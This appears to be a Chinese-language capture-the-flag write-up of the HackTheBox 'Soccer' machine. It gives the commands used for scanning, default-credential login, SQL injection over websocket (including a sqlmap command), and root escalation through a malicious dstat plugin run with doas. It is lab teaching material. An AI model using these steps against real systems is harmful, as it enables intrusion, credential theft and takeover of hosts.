Soccer

来源:HackTheBox

难度:Easy

nmap -T4 -A -sV -p- 10.10.11.194

扫出来22,80,9091三个端口,访问80发现是一个博客网站,爆破目录发现/tiny目录

dirsearch -u http://soccer.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# OSCP允许使用dirsearch,可以用-w参数指定字典,建议使用这种办法爆破,有hostname就不要爆ip,可能会出问题


知道这是一个叫Tiny File Manager的CMS,我们上网查询其默认密码,查到是admin/admin@123,直接登进去了,然后里面有一个文件上传点,可以直接上传php,传完之后打一个php反弹shell,拿到www-data权限,然后知道是用了nginx中间件,查看其配置查找是否有旁站,看到这样一个文件:

看到有soc-player.htb猜测有这么一个子站soc-player.soccer.htb,访问发现真有,此时我们修改host文件,将此站点解析到10.10.11.194,然后猜测login目录,直接杀到登录口:

没有账号,尝试注册一个登录,进入后发现有一个验票的功能点,输入门票id可以验证门票是否有效,一秒猜出漏洞类别,猜测会有sql注入,抓包,发现是用的websocket来通信的,这下知道开的9091端口是拿来干嘛的了:


尝试如下payload:

{"id":"1 or 1=1"} // 返回存在票据
{"id":"1 or 1=2"} // 返回不存在票据

基本坐实sql注入,是盲注,那么如何使用sqlmap对websocket进行注入呢,其实很简单,payload如下(注意:OSCP考试并不允许使用sqlmap):

sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' --dbs --threads 10 --level 5 --risk 3 --batch

# --batch 不询问全部默认
# * 星号告诉sqlmap对这里进行注入

最后爆库爆表爆记录出了player用户的密码,用这个player账户和他的密码尝试登录ssh:

player@10.10.11.194

成功登录,开始提权

一番操作,使用payload:

find / -perm -u=s -type f 2>/dev/null

找到一个suid有问题的文件:

/usr/local/bin/doas

查找资料,这个程序跟sudo差不多,非常可疑了,用find找到它的配置文件:

# /usr/local/etc/doas.conf

permit nopass player as root cmd /usr/bin/dstat

说明我们可以利用doas,以root权限去运行dstat
继续深入,发现这个dstat可以运行python代码写的插件,使用man dstat可以找到其插件的目录:/usr/local/share/dstat
这就好办了,如果我们写一个python reverse shell的插件,doas运行这个dstat,然后加载这个插件,不就可以获得一个root的反弹shell?
使用命令:

echo 'import os; os.system("/bin/bash")' > /usr/local/share/dstat/dstat_pwn.py

写入恶意插件,然后用doas /usr/bin/dstat --list发现确实加载上了我们的插件,最后用doas /usr/bin/dstat --pwn成功以root身份执行我们的恶意插件获得root权限

⬆︎TOP